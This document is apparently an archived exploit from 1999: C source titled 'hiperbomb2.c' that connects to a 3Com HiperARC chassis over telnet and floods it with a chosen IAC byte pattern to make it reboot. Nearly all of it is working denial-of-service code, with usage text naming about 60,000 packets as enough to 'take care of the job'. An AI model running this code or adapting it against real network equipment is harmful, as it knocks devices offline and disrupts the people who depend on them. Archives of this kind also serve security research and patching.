Exploit to send a large volume of IACs which eventually leads to a reboot of 3COM's HiperARC
dbbcf212057df1232edc1ee2a26005a071ab2569f332337a2f2664387ef59609
/* ---------------------------------------------------------------------
* hiperbomb2.c - Reboots HiperARC faster.
* ---------------------------------------------------------------------
* (c) 1999 - Jonathan Chapman <jchapman@1st.net>
* ---------------------------------------------------------------------
* Sends a high volume of IACs which eventually leads to a reboot of the
* HiperARC. Brief testing indicated that this problem is most likely
* specific to sending IACs rather than any other type of data. Further
* research has shown that specific IAC patterns are more likely to cause
* a reboot. In this example I use one of the most efficient combinations
* I have discovered. Through my testing it usually required at least
* 60,000 packets to cause the HiperARC to reboot.
* ---------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdarg.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
char *chassis;
int sockfd, num_of_tries;
void connect_to_chassis(char *name)
{
struct hostent *host;
struct sockaddr_in remote;
host = gethostbyname(name);
if(!host) {
fprintf(stderr, "Cannot resolve host %s.\n", name);
exit(3);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
fprintf(stderr, "Cannot obtain descriptor.\n");
exit(4);
}
remote.sin_family = AF_INET;
remote.sin_addr = *(struct in_addr *)*host->h_addr_list;
remote.sin_port = htons(23);
connect(sockfd, (struct sockaddr *)&remote, sizeof(remote));
return;
}
void send_iacs()
{
unsigned char reply[3] = {254, 36, 185};
unsigned int k;
for(k = 0; k < num_of_tries; k++) {
write(sockfd, reply, 3);
}
}
int main(int ac, char **av)
{
if(ac < 3) {
fprintf(stderr, "Syntax: %s <chassis name> <num of packets>\n", av[0]);
fprintf(stderr, "Approximately 60,000 packets usually takes care of the job.\n");
exit(2);
}
chassis = av[1];
num_of_tries = atoi(av[2]);
fprintf(stderr, "Beginning attack on chassis %s [%d packets]\n",
chassis, num_of_tries);
connect_to_chassis(chassis);
send_iacs();
fprintf(stderr, "Attack complete.\n");
exit(0);
}